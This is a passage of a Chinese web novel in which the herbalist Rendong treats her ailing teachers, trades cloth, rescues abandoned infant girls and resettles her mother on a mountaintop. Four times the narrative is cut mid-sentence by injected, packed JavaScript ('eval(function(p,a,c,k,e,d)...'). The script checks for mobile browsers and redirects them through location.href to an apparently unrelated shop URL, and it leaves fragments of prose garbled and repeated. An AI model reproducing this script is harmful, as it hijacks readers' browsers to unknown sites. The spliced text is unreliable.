但这话不好说,不然她不好解释那些书是怎么来的。 “之前若不是卫大夫愿意教我认草药,我也不能继续学医,所以论先后,卫大夫才是我学医路上的第一位老师,”忍冬拱手作揖,“今日又劳烦卫大夫了,这钱……” “不必,你有这般天赋,往后定会大成,我指点你一二,往后不忘了我就是,”卫大夫将银两推回去,又将她的治疗方案还她,“之前是我没能坚持,像我这样的小大夫,自是不敢与人争议,你千万……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190908|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我很感激卫大夫。”忍冬立即说道。 卫大夫点头,走近后轻轻拍了拍她的肩,低声在她耳边说话:“不过以后不要总是下石龙芮,容易被人发现。” 忍冬蓦地看他。 卫大夫大笑着捋胡须:“我可是大夫,若是连这都看不出来,那岂不是枉为大夫,不过你放心,这附近的大夫都想着多一事不如少一事,只要人不提,就不会多管闲事。” 忍冬抿了抿唇,不好意思地笑了笑。 心里想着下次再要下药,就不能下单一有毒的药材了,还是得配一配药,不然再叫人轻松看出来,那可不好。 她之前做事,果然没有考虑太过周到。 白老师说的对,她的城府还远远不够,只能骗过那些她熟悉的人,骗不过别人,而且做的事也不够小心谨慎,很容易叫人发现问题,顺水摸鱼找到她。 与卫大夫沟通过之后,她没有走正门,依然走了后门离开。 之后便按照两人沟通的新方案给病人治病。 可能是因为病人从来都没有接触过中医疗法,几次治疗下去,他的情况虽然没有完全好转,却已经可以吃得下东西,脸色也比一开始红润许多。 忍冬再给人把脉,脉象的情况也比一开始要好些。 “能治吗?” “我现在也还不能完全确定,这样的脉象换成普通人,大概率是没得治的,但他体内的生机也比寻常人要多一些,只要稍微治疗,那点生机就会迅速扩大,”忍冬放下病人的手腕,“再试几次看看,以现在的进展,就算不能完全治好,也能让他恢复到略好的状态。” “那也行,”病人虚弱地说道,“接下来你就将我的身体当成实验,不管什么方案,只管用在我身上,治好治坏都不要紧。” “那怎么行,如果没有把握,我肯定不能随便治。”忍冬连忙道。 病人没有立即接她的话,而是看向一边:“我想吃点东西,去帮我拿一些过来,那个什么馒头就很好吃,今天吃馒头吧,不过会不会太复杂了?” “不会,二哥想吃,就可以做,我很快就回来。”夏瑞蒂快步离开病房。 病房门被关上之后,病人再次开口:“你应该知道,异能会导致身体崩溃这件事吧?” 忍冬缓缓点头。 “我这身体已经很差了,早就做好了死的准备,但他们现在都还好,如果你能用我的身体实验,做出真正缓解和治疗异能崩溃的方案,那我的身体才是有价值的。” “可是……” “他们是你的老师,我却不是,也帮不了你太多忙,但对我实验,可以救你那些老师的命,这不值得吗?” 忍冬抬眸,静静看他。 病房门被打开,夏瑞蒂走了进来:“这就是二哥支开我的目的?二哥你死心吧,我们不会让忍冬这么做的,我们的命本来就是你给的,现在又要用你的命救我们,无论如何我们都不会答应。” 病人闭上眼睛:“我不跟你说话了,你说的话我不爱听。” 19.形势不好 “忍冬,二哥的话你别听,如果用他的命来救我们的命,我们宁可都去死,你还是按照稳妥的方法去治,明白了吗?” 忍冬想了想,开口道:“其实有的时候采用稍微冒险点的方式,或许是找出真正治疗方案的办法。” 夏瑞蒂问道:“真的?” 忍冬点头:“异能导致的身体崩溃,会导致身体出现极为诡异的状况,我的医术本就不精,刚开始就诊就遇上这样棘手的病人……我问过卫大夫了,他也说若是常人有这样的脉象,早已死了不知多少回,所以这病,也不能用寻常的方法进行治疗。” 夏瑞蒂皱眉:“但冒险的话,对他的身体不好。” “是,他的身体再采用冒险的方式,很有可能导致身体问题更加严重,所以我有另外的打算,”忍冬脸上露了笑,“夏老师愿不愿意让我把脉?” 夏瑞蒂眼前一亮:“你的意思是我们也行?” 忍冬点头,依然面带笑容:“你们也都学了异能,且迟早都会出现身体崩溃的情况,中医可以调养身体,如果你们的身体在没有加重的情况下及时进行调养,或许可以延缓崩溃的时间,甚至完全治愈。” 夏瑞蒂也忍不住笑:“我说你的表情怎么这样奇怪,原来是早有打算,早说你有这样的打算,我就不跟你多说了,来吧,看看我的脉象。” 忍冬抬手,握住她的手腕,仔细感觉她的脉象。 感觉了一会儿,她的眉头逐渐皱了起来。 “夏老师你的身体,是不是已经出现崩溃症状了?” “你怎么知道?能看出来?”夏瑞蒂惊讶道,按住自己另外一只手感受了一番,“就是这个跳跃的脉象,能够感觉出身体状况?” “夏老师的身体还不错,但你的脉象跟二师伯的情况很像,不过症状要轻一些,”忍冬说着,想起这一年相处的情况,“所以你们这一年并没有怎么用异能,是因为身体已经到了极限,对吗?” 从她知晓异能的存在到现在,真正见到几人使用异能的情况并不多,大多数时候,他们都选择用工具来解决问题。 虽然那些工具确实都很好用,但她偶尔也想过,既然异能好用,为什么要用工具,岂不是多此一举? 现在想来,就是这个原因。 夏瑞蒂也点了头:“是,不过我们也不能放弃异能,你不知道,在外面还有许多事,只有身怀异能的人能解决,而我们的身体,只能通过减少使用异能来延缓崩溃时间,如果你能治,或许我们能有离开这里的机会。” 忍冬看着她,想问离开这里去哪里。 但这个地方本就奇特,她想自己或许不该多问。 又仔细感受了一番夏瑞蒂的脉象,她说道:“虽然夏老师的脉象症状比较轻,但再这样下去,不出一年这身体就会承受不住,从而崩溃,要是夏老师相信我……” “信,不止我信你,我们都信你,否则不会叫你替二哥医治,”夏瑞蒂笑着说道,“所以你只管放心大胆给我们用药,把我们当试验品,这样才能找出更好的治疗异能崩溃的方案。” “如果有这么多人都可以当试验品,不同的方案落在你们身上,对你们每个人的影响应该不会太大,”忍冬说道,“我有一个药方,药性比较强,需要采用以毒攻毒的方案,但二师伯身体不好,不适合用那个药方,夏老师的身体还可以,能试一试,不过夏老师放心,虽然是以毒攻毒,但药方的毒性我会把握好……” 夏瑞蒂直接点头:“你试吧。” 忍冬想要狠下心来,虽然药方的毒性强,但学了异能的人身体本就很好,基本不会有问题,但仔细考虑,又觉得不太妥当:“还是过两天,等我问过卫大夫,要是他也觉得可行,就试。” 夏瑞蒂笑着点头:“好,都听你的。” …… 忍冬走出山洞,按照惯例,将手上拎着的一大筐布料往下放。 这一年多时间来,她一直都在跟着学武,也日日都要经受所谓的机体改造,每日在那屋子里待着的时间越来越长,她的身体也越来越好。 现在她徒手的力气,可以轻松拎起大几百斤的东西。 以她现在的身体状况,就算不去学异能,遇到危险时也能应对。 布料放下后,她自己不再需要一步一步往下爬,而是直接往下跳,只要借助山壁,就能轻松到达山底。 站定后,她背起布料,快步往县城的方向跑去。 一来这样速度快,二来也当做是顺便的训练。 现在她从山洞到县城,比之前足足缩短了一半的时间。 没过多久,她就到了瑞昌布庄。 布庄掌柜就站在门口,见她过来,立即笑着迎来:“忍冬姑娘,我估摸着你也快要来了,今日可多带了些布料?” “跟先前说的一样,多带了一倍。”忍冬背着料子进门,看到了布庄内挂着的料子,下意识惊疑出声。 “这是人家染的新布,学的你带来的布料的花样,不过忍冬姑娘放心,这些料子都是粗糙的款,都是卖给普通人的,忍冬姑娘你带来的料子,次次都紧俏,价格不会下去,而且那些熟客都点名要你的料子,说是别的料子都做不出这样的触感,不过要是忍冬姑娘不愿意,我去跟染布坊说一声。” “不必,既然没有影响,那就算了,大家也都只是混口饭吃。”忍冬手上的这些料子本就来的轻快,只要有足够的粮食,就有足够的料子。 而粮食和布料之间是有差价的,到如今她光靠销售这些料子,就已经攒了上百两银子。 这还不止,甚至还有一些料子是她没卖出去的。 忍冬将背篓摘下:“今日除了原先的那些成色的料子之外,我还带了一批新的料子,具有很好的保暖效果,眼看着天色渐凉,掌柜的尝试往外卖看看,要是可以的话,下回我多拿一些过来。” “可是绒毛料?”掌柜问道。 忍冬直接将料子拿了出来,放到他手上:“这料子与寻常绒毛料也不一样,但穿在身上很暖和。” 掌柜摸了摸料子:“感觉这料子有点薄,真的穿着很暖和?” “掌柜的可以试试,不行的话下次我不卖这个就是了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195987|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那这料子我留下了,给家里人做几身里衣试试,”掌柜将料子放在一旁,“往后你手里有别的新奇料子,也只管送来,我们瑞昌布庄也不止在这边有店,旁的地方也有,不管多少料子都能卖,今天这些料子我给你算算帐。” 忍冬点头,站在一旁等着掌柜算账。 这次的料子多,价格也贵,这批料子卖出,到她手里足有二十两银子。 但这些并不都是利润,她需要买粮食,之后山洞那边的老师们开始治疗,她还得买些药材,不然只靠她一个人采药,药材的数量是不够的。 离开布庄之后,她径直往卫大夫的药铺走去。 到了门口却发现,大门紧闭。 又外出就诊了? 她在门口站了一会儿,找旁边铺子里的人说了声,让转告自己明日再来,这才离开县城,去找狗贵。 只是这次到破庙,却没有直接见到狗贵,在她要走的时候,狗贵才从角落里出来。 “忍冬,这里。” “你躲这里做什么?” “小心为上,你也是,”狗贵低声道,“近日山匪横行,四处抢粮食,你这一年囤了那么多粮食,之后可要小心些,要是被遇上了,怕是那些山匪无论如何都要抢走你的粮食。” “什么情况?有灾?”忍冬下意识问道,随后摇头,“不对啊,如今秋收快到,天色大好,从你给我的那些消息看,也没有听说哪里有灾,那些山匪是怎么回事,莫名其妙就出来了?” “这我也不知道啊,反正我去收粮,那些人就是这么说的,很多地方怕山匪突袭,还打算早点收麦呢,”狗贵依然压低了声音,“不过那些跟我交好的村民们都说了,若是我要粮,最好是抓紧时间,他们断定,秋收过后,山匪一定会来一次烧杀抢劫,有些地方的村民都准备好了躲身的地方。” “那你抓紧时间,那些粮食与其到山匪手里,不如我们提前收了,至于银两……”忍冬直接将今天刚到手的二十两银子递给他,“你去买吧,越多越好,这些山匪来势汹汹,真要是缺了粮,以后日子难过。” “你那儿安全吗?”狗贵问道,“万一山匪发现你那儿……” “放心吧,安全。” “那太好了,我能不能也在你那儿存些粮食,”狗贵掏出荷包打开,“这是我这一年攒下的所有银两,这次也全部买成粮食,三日后我都拿来给你,行吗?” 忍冬点头:“可以,那你的粮食都放我那儿,回头你要吃,随时找我拿。” “那可太好了,”狗贵松了口气,“对了,还有件事,你叫我留意的婴孩的情况,今日古树村和我们村都有孩子出生,而且前面都有好几个女孩了,从我打听的情况,若生下来是女婴,那两家应该都不会把孩子留下,你要做什么?” “你去我们村,我去古树村,如果确定生下来是女婴,且人家不要孩子,想办法悄无声息将人救下来,到时候去我们村边上的林子里等我,”忍冬说着,看了他一眼,“不要问,这件事与你无关。” 狗贵点了头:“好,我去帮你办。” 20.换个地方 “这儿。” “也是个女孩?”忍冬抱着孩子上前,看到孩子的情况后忍不住问道,“怎么是这样的?” “那家人直接把孩子丢水里了,想把孩子淹死,”狗贵让她近距离看孩子,“不过还好救的及时,她现在情况还好。” 忍冬皱眉:“你想办法对外弄些传言,就说河神不爱孩子,要是有人将孩子丢河里或者是溺死,全家都会倒霉,严重的还有可能会死。” “那要不要我去弄一弄这家人?”狗贵问道,“这样别人才会相信。” 忍冬点头:“可以,你把孩子给我吧。” 狗贵将孩子递给她,看着孩子又问:“是女娃,又不能传宗接代……” “我说了,与你无关。”忍冬抬眼。 “我也没别的意思,大家都这么想啊,不过要是女娃能跟你一样厉害,那就不一样了,”狗贵笑着说道,“我要是有你这样的女儿,晚上睡觉都要笑醒。” “可我不想有你这样的爹,”忍冬将孩子抱住,然后把手里早就准备好的铜钱递给他,“这是你的报酬,今天的事不要说出去,要是给我带来麻烦,你知道后果。” “我只赚钱,不考虑别的!”狗贵立即说道,“再说我之后的粮食都要到你手里,哪敢造次?” “最好这样。” 忍冬说过,没有再与他多说,直接抱着孩子进了林子深处。 走了一会儿,她回头,看向隐蔽处:“狗贵,你要是再跟着我,以后我们的合作就结束了。” 狗贵缓缓从角落里走出来,干笑道:“你的耳朵什么时候这么灵了?” 忍冬板着脸:“这是我给你唯一的机会,下次再叫我发现你想要跟踪我,看在你帮了我不少忙的份上,我或许不会对你下杀手,但我可以让你永远躺在床上无法动弹,以你在村里的作为,要是动不了,那你得烂死在床上。” “那你还不如直接杀了我,”狗贵后退一步,连连摇头,“我不跟了,我发誓,以后我绝对不会再好奇你到底去了哪里!” 忍冬依然面无表情,看了他一眼后转身就走。 狗贵站在原地,忍不住摸了摸自己的脖子,低声嘟囔道:“她现在怎么越来越可怕了?算了算了,我赚我的钱,以后别瞎好奇就得了,这人真能下毒手。” 说完,他转身快步离开。 回到村中的时候,他想到刚才跟忍冬的对话,特意跑到了刚生了孩子的那家,到后头,偷偷将站立处的好木头换成了已经腐烂的木头。 掉进粪坑里,算倒霉了吧? …… 忍冬来到了山脚,拽了拽一旁的绳索。 不久之后,从山上垂下来一个竹篮子。 她将一个孩子放进去,竹篮子便被拽了上去。 她又拽了拽绳索。 竹篮子再次下来。 最后才是她自己。 “今日怎么有两个孩子?” “一个是我们村的,一个是隔壁村的,正好都是同一日生,都没被家里留着。”忍冬看着被杨柳和青竹抱着的孩子,又看着被拦在山洞里,抓着篱笆眼巴巴看着外头的孩子。 被救下来的孩子基本都是刚出生的。 从菡萏被安置在这里开始,忍冬隔一段时间就会救个孩子回来,除了杨柳和青竹原本就是在岁数大的情况下被丢弃的之外,剩下的孩子最大的都已经有一岁半。 一开始她救孩子是为了菡萏,让她能有所依托而活着。 后来却逐渐放不下,只要遇到有生孩子的情况就会加以关注,慢慢就救下了不少孩子。 如今这山腰的四处,都挂满了尿布和小孩的衣服。 “娘,还有杨柳、青竹,你们会不会太累了?” “你要赚钱,比我们更累,至于这些孩子,娘只觉得可怜,”菡萏轻声说道,“如果你不救这些孩子,她们都会悄无声息离开这个世界。” 杨柳和青竹也立即摇头:“我们都不累,但姐姐要养活我们这么多人,会不会太累了?” “我也不累,你们放心吧,我现在赚钱很容易,这次过来,我还给你们带来了不少粮食,”忍冬将背篓里的粮食一一拿出来,“你们吃的少,这么多粮食足够你们吃好久。” 这里最多的其实是一岁左右的婴孩,吃的并不算多,主要是照顾起来太累。 忍冬心想或许她可以去找找看,有没有年纪大一点的女孩,救一两个回来,可以帮她们分担一些。 但问题是这边只是山腰,地方就那么点大,山洞里面的空间也小,住三个大点的人加一群婴孩,还算可以,但要是住的人太多,怕是人挤人了。 想着,她抬头往上看。 这座山的陡峭程度不低,寻常人基本上不来,就算能上,也很麻烦,这也是她安心将菡萏几人都安置在这里的缘故。 山腰这里上不来,山顶更上不去。 上面的话,空间应该不小。 就是攀爬的难度也更高。 她转了一圈,都没找到几个可以往上攀爬落脚的地方。 这反而更适合菡萏她们上去居住。 “娘,我们往上搬吧,等我这几天先上去看看。” “这也太危险了。” “没事,我不会有事,娘信我吧。” 忍冬说着,下了山回去之后,立即拿了一批可以敲入岩壁的攀爬钉,在山腰这里找了个合适的位置,一点一点往上攀爬。 虽然上面没有垂下来的藤蔓,但她腰上还是绑了几圈从山腰处连接的藤蔓,这样即便她不小心坠下,也可以缓冲一下。 不过这藤蔓最终还是没有用到。 花了两个时辰的时间,她无伤爬到了山顶。 山顶这边的空间比她想象中还要大,而且因为地势陡峭,这山顶除了一些草木之外,连野生动物都没有,住在这里不仅空间宽敞,危险性还更小。 只要时间足够,甚至可以在这里修建木屋,住起来比山洞里要舒服许多。 她在山顶转了一圈,找到了一处适合造房子的地方,还找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209092|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了一处很大的蓄水池,里面存了满满的水,想来山腰处的水源,就是来自于此。 不过这蓄水池也有水流进来的情况,她顺着土壤潮湿的方向走去,找到了这座山与隔壁另一座高山连接的痕迹,水源就是从另一座高山流过来的。 这座高山更加陡峭,基本也不可能有人能来,野兽同样无法抵达。 这样的话,住在山顶不仅可以预防野兽,也可以预防有外人过来,将人安置在这里,安全性可以得到极好的保障。 那就是这里了! 忍冬将带在身上的绳索绑在山顶的好几棵大树上,又绕过巨石,这才拽着绳索往下爬,直到来到山腰。 “娘,山顶的地方很大,这几日我先整一整,之后你们就搬上去吧,眼看着又要冷下来,山洞里住着会很不舒服,而且你们人越来越多,动静也越来越大,我怕有人过来发现你们,到时候你们怕是危险。” “能行吗?这么高呢,”菡萏抬头,“而且你要来整理,会不会太麻烦?” “不会的,娘刚才不是看到我的身手了吗?反正娘听我的就行。” 菡萏笑了:“行,那娘都听你的。” 忍冬也高兴起来:“等你们搬到上面去,就可以稍微走动走动了,而且还能晒更久的太阳,娘放心,这些事我都会做好,你们就安心等着吧。” 说过,她回到山洞里,主动找夏瑞蒂和白仁悦说起安置的这件事。 现在她早已确定山洞这边的情况与外面并不相同,既然可以有更好的办法来轻松解决事情,为什么要选择更难的法子? 但她想过轻松,没想到居然可以这么轻松。 再站在山顶,她看着眼前自动膨胀,且在自动一点点往石头底下钻的房子,莫名有一种自己活的世界有问题的感觉。 原本她以为拿到的是好像水稻收割机那样的东西,这样的话她可以更快地砍木头建房。 再不然就是像可以快速嵌入山壁的脚踏,或许可以将木头与木头钉在一起,那也是很牢固的。 亦或是别的可以加快速度的工具。 可谁能想到这个据说原材料是超精轻钢的房屋模块,居然可以从小小的一个变得这么大,而且它居然还可以自动钻地基,这样就算山顶风大,也可以确保它不被吹走。 不过这房屋的位置本就在山顶正中间,周围还有一圈圈大树,就算有风,也不会直接吹到房屋,所以即便是木屋,问题也不大。 但换成这种地基超稳的房屋,估计就算是大风,睡在里面也能十分安稳。 忍冬就站在边上,看着小小的屋子变成了巨大的四间房,这下别说是住菡萏她们现在这些人,就算是再多住七八个人,都不成问题。 除了房屋之外,还有床、柜子、桌椅板凳,都是压缩模块,只要放在合适的位置解压释放,它们就能变成正常使用的大小。 饶是她心里早有准备,这会儿看到这一幕,依然觉得自己的准备还远远不够。 山洞那边,到底是哪儿啊? 21.全员搬家 “总看我做什么?” “有一个问题,”忍冬思索了片刻,还是开了口,“就是感觉不管我要什么,老师们都能拿出来,而且那些东西……” “跟你那边不一样。” 忍冬立即点头,期待地看着夏瑞蒂。 “你就当我们两边并不是一个世界,”夏瑞蒂笑着说道,“你们那边应该也会有类似的情况,譬如说你生活的地方,跟那些达官显贵生活的地方,就会有一种不像一个地方的感觉。” 忍冬想了想:“但那种不同,跟这种不一样。” “确实不一样,但我也不知道怎么跟你解释,在你们那个世界的书里,应该不会提到类似的内容,”夏瑞蒂说道,“可我们两边确实不算是一个地方。” “还是不懂,不过我知道这个地方很厉害,”忍冬放下把脉的手,“没关系的,能够遇见老师们,就是很幸运的一件事了,而且我还能得到那么多东西。” “不止这些,之后你再有别的想法,也还是可以找我们要,”夏瑞蒂说道,提到另一件事,“对了,你之前说你娘要搬到山顶,那样你每次攀爬会比较困难,还要运东西的话会难上加难,我们还给你准备了一套运输东西的设备,待会儿你走的时候顺便带走。” “谢谢老师,”忍冬立即笑着道谢,也说起自己把脉的情况,“老师,这几天我日日去找卫大夫,但都没找到他的人,今天我再去一次,要是他还是没回来,就试着用我这几天斟酌出来的治疗方案给你们治疗,你们的身体也在一天天恶化,需要尽早治疗,才能更好地压制。” “可以,那就按照你说的做,我们都听你的。” 忍冬这才又看了看这几天整理出来的治疗方案,打算再去找卫大夫。 其实对于异能崩溃的疾病,她跟卫大夫讨论过很多回,心里多少已经有些把握,但毕竟是老师们的身体,在可以选择的情况下,她自然是希望治疗方案能够更准确一些。 再次离开山洞时,她除了带了一套运输设备之外,还带了完整的治疗方案,径直去了县城。 但卫家的药铺还是没有开门。 她只能再次寻找隔壁药铺的人询问:“卫大夫真的没回来过吗?” “没呢,不止你在找,好多人都在找,我们这里就卫大夫医术最好,人也厚道,他不在,很多人生了病就只能去别的药铺,治起来效果不好不说,还多花了钱。”隔壁铺子的人同样也心有疑虑。 忍冬这时候有些担心了,怕卫大夫出了什么事:“那卫大夫走之前,真的没有发生什么事吗?” 隔壁铺子的人连连摇头:“要是知道,我就说了,这卫大夫说走就走,也不知道什么情况。” 忍冬皱了眉,心里也很在意到底是什么情况。 卫大夫的性子沉稳,一般都不会去得罪什么人,就算偶尔遇到问题,也会选择稍稍退让,他的医术好,大家也不会去得罪他。 可这样莫名其妙消失好几天都不见踪迹,感觉像是真的出现了问题。 犹豫了一会儿,她还是悄悄到了药铺的后院,趁着边上都没人,翻进了院内。 铺子里和院子里看起来一切正常。 但药柜里的药材却消失了许多。 正想着,她脚下仿佛踩到了什么,低头一看才发现,那居然是药材。 而且零零散散掉了五六个。 数量不多,但卫大夫的性子她是知道的,对每一样药材都十分重视,绝不可能出现这种掉落的情况。 也就是说,卫大夫很有可能出了事,而且还是深夜出的事,否则周围铺子的店家不会都不清楚究竟发生了什么事。 她拿出异能石,点燃了屋内的蜡烛,仔细查看屋内的情况。 找了一圈后,找到了好几个清晰且凌乱的大脚印,而且脚印上还沾了明显的泥点,正好卫大夫消失那天深夜在下雨,这些泥点就意味着有人在深夜从县城外过来寻了人。 还有…… 忍冬站在进了大门的位置,左右看了看,在柱子的侧面找到了刀砍的痕迹,而且还是刚被砍没多久,痕迹都是崭新的,没有脏污。 是什么样的人,不能光明正大找大夫医治,非得带刀掳走大夫? 难不成,是山匪? 她记得前些日子,狗贵说过附近出现了一波山匪,四处抢夺粮食,要真是那帮子山匪干的事,卫大夫突然失踪这件事就说得过去了。 她又找了一圈,没有看到别的痕迹,从后院翻身出去,回到了村中,悄悄找到了狗贵。 “我帮你干了事,那家人现在倒霉着呢,现在村里人以后都不敢再溺死孩子了。” 忍冬愣了一下,想起之前的交代,点了点头:“干的不错,不过今天过来,我是想让你帮我去干另一件事,之前你说这附近有山匪,你知道山匪的位置吗?” 狗贵立即摇头:“山匪可是真的会杀人的,我可不敢做什么,你要干嘛呀?” “不需要你干嘛,只要帮我打听山匪的位置就行,这几天我去县城,都没有找到卫大夫,别人也都不知道他的踪迹,我怀疑卫大夫可能被山匪抓走了。” “啊?真的假的?” “除了山匪之外,我想不出还有什么人要这样偷偷摸摸抓一个大夫。” “也是……不过就算我们打听了也干不了什么事啊,山匪凶恶,卫大夫被抓走顶多就是帮着治病救人,我们要是被抓走,那可危险呢。” “所以这件事你只需要帮我打听就行,至于别的,我自己来处理,至少得确定卫大夫的安全。” “好吧,那我帮你打听。” 忍冬点头,又问:“粮食采购怎么样了?” “已经买了不少,不过我想等新粮下来,再多买一些,不然大家卖出来的,都是旧粮。” “你看着办,反正粮食越多越好。” 她总觉得周边的形势不大对劲。 按书上所说,山匪出现大多都是因为天灾人祸,凡是遇干旱、洪涝、虫害,都会出现粮食减产,导致百姓占山为王,为活命抢夺粮食。 而这些年虽然大家都吃的不算太好,却也算不上艰难,大的天灾也没有出现过,按理是不该出现山匪的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213921|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可山匪偏偏出现了,又不是天灾的缘故,就只能是人祸了。 这人祸又大抵都是为了抢夺权势,要是京城乱起来,这边也躲不过。 偏偏天高皇帝远,以狗贵接触到的人,就算是他要打听,也得不到什么有用的消息,只能自行加以警惕。 狗贵不懂那些乱七八糟的事,但看着忍冬的表情,心里也猜测可能有问题,立即道:“那我想法子多买些粮食吧。” 忍冬点头:“你去忙,我也还有事。” 说着,她看了对方一眼。 狗贵立即后退:“你放心,我绝不会再跟着你。” 忍冬没有说话,转身就往山里走去。 她今天带了一套运输设备,只要安装好,就可以将山腰处的东西都搬到山顶。 如果可以,甚至可以将菡萏等人也都搬上去。 左右山顶的住处已经安装完毕,她们上去之后可以直接住下,能提前离开阴森的山洞。 身后没有尾巴跟着,她一路走去的速度都很快,甚至路上还采了一些药材。 抵达地方之后,她跟之前一样先拽着藤蔓到山腰,再在菡萏等人的注视下,通过从上面垂下来的绳索快速爬了上去。 到山顶之后就立即开始安装运输设备。 不出所料,这套设备的安装速度也很快。 说来原理很简单,就是通过上下连接的钢绳来进行运输,优势在于每次运输结束,都可以收起绳索,这些在底下就找不到任何痕迹。 而且不需要手动操作,只需要按下按钮,就能随心上下。 显然这又是一件山洞那边的奇妙设备。 不过忍冬现在见多识广,在亲眼见到过自动展开的房屋之后,再看这个绳索,心里也觉得这绳索比房子差远了。 绳索安装完毕,她便放了可以存放物品的大箱子下去。 菡萏几人就等在底下,看着平稳滑下来的箱子,都忍不住往上看去。 就在这时,箱子里传来声音。 “娘,先把粮食什么的放进来,确定没问题的话,再用篮子把孩子们放进来,今天你们所有人都要上来。” “冬儿,是你在说话?” “对,是我,”忍冬站在山洞,开着“通话”按钮说话,“山上我都收拾好了,地方也大,比底下要好很多。” “好,我们这就收拾东西。” 菡萏等人的东西说少不少,说多其实也不算太多,毕竟她们本就过的节俭,日常吃喝用就那么几样,只是山腰的空间小,看着就很多。 这一箱一箱往上送,很快所有物品就都送到了山顶。 之后则是那些孩子。 小一些还躺着动不了的孩子,都直接放在篮子里送上去。 大一点的也放在篮子里,但用藤蔓绑了绑,以免她们乱动。 最后才是菡萏和杨柳、青竹三人。 箱子空间小,她们只能蹲着往上,直到箱门再次打开,她们站起来再回望,才惊出汗来,连忙快步离开箱子。 而在不久后,她们看到了更令她们惊讶的存在。 22.安置下来 “冬儿,这……这里怎么会有房子?难不成这上面住了人?” “没人,这房子是我带过来的,”忍冬握住娘亲的手,“我之前说过,一年前的时候遇到了很好的老师,现在老师们遇到了一些问题,我帮了些忙,就得到了这个房子。” “这么大的房子,又是这么高的地方,怎么能带上来啊?”菡萏心里已经不是惊讶,而是觉得匪夷所思,甚至觉得自己是不是走错了地方。 但回头看,这里确实是山顶,而且刚才她们也都是实实在在上山来的。 “到底是什么东西,我也解释不来,”别说是菡萏,忍冬自己每次看到这房子,也依然会觉得震惊,但这又是她亲手打开的,造不来假,“不如先进去看看。” 菡萏恍惚着点头,带着那些孩子往里头走。 虽说是模块化的房子,但这房子不仅比山洞要好,甚至比许多人住的房子都要好。 再加上里面还配了各种家具,看了一圈之后,连忍冬都想过来住。 菡萏更是几次询问,自己看到的是不是真的,她总觉得眼前的这一切都是在做梦,而且是那种很离奇的梦境。 “姐姐,以后我们就住在这里了吗?这里是不是我们的家?” 杨柳和青竹的震惊不必菡萏的少,但她们原本就见的不多,不知道这究竟意味着什么,只是原本以为的山洞变成了房子,让她们心里产生的浓浓的归属感。 忍冬也对这里很有归属感,笑着点头回她们:“对,以后这里就是我们的家,你们都住在这里,不用担心会有人过来把你们抓走,而且这里整日都能看到阳光,不像底下,一日里大部分时间都是潮湿阴暗的。” “真好啊。” “不是真好,是姐姐好。” 忍冬抬手揉了揉两人的脑袋,看向菡萏:“娘,这地方空间大,回头我再带些纸笔过来,你教她们识字吧。” 菡萏皱了皱眉:“我们住在这里,识字……” 忍冬打断她的话:“以前娘说过,不管以后能不能用到,识了字之后可以让自己不那么蠢笨的人,而且我要不是跟娘认了字,就不会认识卫大夫,也不能采药赚钱。” 杨柳和青竹立即看向她。 菡萏想了想,点头应下:“好,那倒是我教她们识字,不过这里没有书……” “我会带书过来的,我那儿有好多书呢,”忍冬笑道,“那就这么说定了!” 她从小就一直觉得娘亲不应该出现在那个小小的村庄,但长大后,娘亲似乎一直都在妥协,甚至逐渐不再教她认字。 现在有机会,她不仅仅只是希望杨柳和青竹能识字,也希望菡萏能重新读书。 至于书籍的问题,在第一次开始扫描制书之后,她隔一段时间就会想办法在县城里寻找藏书丰富的人家,偷偷去扫描书籍。 如今山洞那边属于她的书籍足有好几百册。 虽然老师们无法教她那些书籍里的内容,但她从学堂里带回来的视频,可以清晰看到学堂老师的教课内容,学了那些内容之后,她自己就能看书。 将菡萏等人安置好,她又特意强调了一遍,叫她们只在屋子周围走动,不要去边缘,要是从这里坠落下去,定要摔个粉身碎骨。 “特别是你们,不准贪玩去那边。”忍冬拉着杨柳和青竹叮嘱。 “姐姐放心,我们会听话,不会去外面,”两人同时点头,“就算不去外边,这里我们能走的地方已经比在底下的时候多多了。” 